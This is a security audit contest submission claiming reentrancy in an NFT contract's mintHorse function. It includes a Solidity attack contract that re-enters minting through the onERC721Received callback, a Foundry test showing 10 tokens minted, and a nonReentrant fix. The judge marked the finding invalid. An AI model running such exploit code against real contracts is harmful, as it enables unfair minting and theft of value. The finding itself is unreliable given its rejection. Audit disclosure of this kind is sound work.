Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

`HorseStore :: mintHorse` has reentrancy, attacker can mint more nft than it's supposed to.

Summary

mintHorse uses _safeMint which is prone to reentrancy.

Vulnerability Details

mintHorse function in HorseStore.sol implements the _safeMint for minting an nft. This is essential to check if receiver accepts the token or not.
But this has callbacks. Malicious contract with onERC721Received callback can re-enter to mint more nft's within same transaction.

POC

Create a contract Attack.sol and add in src folder

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {HorseStore} from "./HorseStore.sol";
contract Attack is IERC721Receiver {
HorseStore public nft;
address public owner;
error UnAuthourized();
modifier onlyOwner {
if(msg.sender != owner){
revert UnAuthourized();
}
_;
}
constructor (address _nft, address _owner) {
nft = HorseStore(_nft);
owner = _owner;
}
function mintHorse() external onlyOwner {
nft.mintHorse();
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4){
/// let's mint 10 horse using reentrancy
if(nft.balanceOf(address(this)) < 10){
nft.mintHorse();
return IERC721Receiver.onERC721Received.selector;
} else
return IERC721Receiver.onERC721Received.selector;
}
function safeTransfer(address from, address to, uint256 id) external onlyOwner {
nft.safeTransferFrom(from, to, id);
}
}

then add following test in Base_Test.t.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {HorseStore} from "../src/HorseStore.sol";
+ import {Attack} from "../src/attack.sol";
import {Test, console2} from "forge-std/Test.sol";
abstract contract Base_Test is Test {
HorseStore horseStore;
+ Attack attack;
+ address public attacker = makeAddr("attacker");
address user = makeAddr("user");
string public constant NFT_NAME = "HorseStore";
string public constant NFT_SYMBOL = "HS";
function setUp() public virtual {
horseStore = new HorseStore();
+ vm.prank(attacker);
+ attack = new Attack(address(horseStore), attacker);
}
function testName() public {
string memory name = horseStore.name();
assertEq(name, NFT_NAME);
}
/// existing code
function testReentrancy () public {
console2.log("Attack contract balances before attack", horseStore.balanceOf(address(attack)));
vm.startPrank(attacker);
attack.mintHorse();
console2.log("Attack contract balance after attack", horseStore.balanceOf(address(attack)));
}
/// existing code

run following command in your terminal forge test --mt testReentrancy() , it will show following results

Running 1 test for test/HorseStoreHuff.t.sol:HorseStoreHuff
[PASS] testReentrancy() (gas: 1187536)
Logs:
Attack contract balances before attack 0
Attack contract balance after attack 10
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.24ms

Impact

Unfair advantage to mint target number of horse nft's.

Tools Used

Manual Review, Foundry

Recommendations

Use a nonReentrant modifier to protect the mintHorse function from reentrancy.

in existing HorseStore.sol add following lines

///existing code
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
/// existing code
/*
* @notice allows anyone to mint their own horse NFT.
*/
function mintHorse() external
+ nonReentrant
{
_safeMint(msg.sender, totalSupply());
}
/// existing code
Updates

Lead Judging Commences

inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.